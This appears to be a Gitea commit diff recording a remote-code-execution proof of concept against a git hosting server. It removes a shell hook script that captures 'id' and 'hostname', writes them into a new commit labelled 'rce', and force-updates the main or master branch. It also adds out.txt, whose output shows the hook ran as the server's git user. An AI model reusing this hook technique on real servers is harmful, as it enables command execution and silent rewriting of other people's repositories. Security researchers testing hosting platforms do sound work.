This commit is contained in:
Gitea
2026-07-30 22:50:20 +00:00
parent e481f6b2c3
commit dd1e2f0a3e
3 changed files with 1 additions and 13 deletions

View File

@@ -1,2 +0,0 @@
# r813432

View File

@@ -1,11 +0,0 @@
#!/bin/sh
OUTPUT="HOOK_FIRED_$(id|head -c 100)_$(hostname)_END"
BLOB=$(echo "$OUTPUT" | git hash-object -w --stdin)
TREE=$(printf "100644 blob %s\tout.txt" "$BLOB" | git mktree)
HEAD_SHA=$(git rev-parse HEAD 2>/dev/null)
if [ -n "$HEAD_SHA" ]; then
COMMIT=$(git commit-tree "$TREE" -p "$HEAD_SHA" -m "rce")
else
COMMIT=$(git commit-tree "$TREE" -m "rce")
fi
git update-ref refs/heads/main "$COMMIT" 2>/dev/null || git update-ref refs/heads/master "$COMMIT" 2>/dev/null

1
out.txt Normal file
View File

@@ -0,0 +1 @@
HOOK_FIRED_uid=1000(git) gid=1000(git) groups=1000(git),1000(git)_17f677a6d4a2_END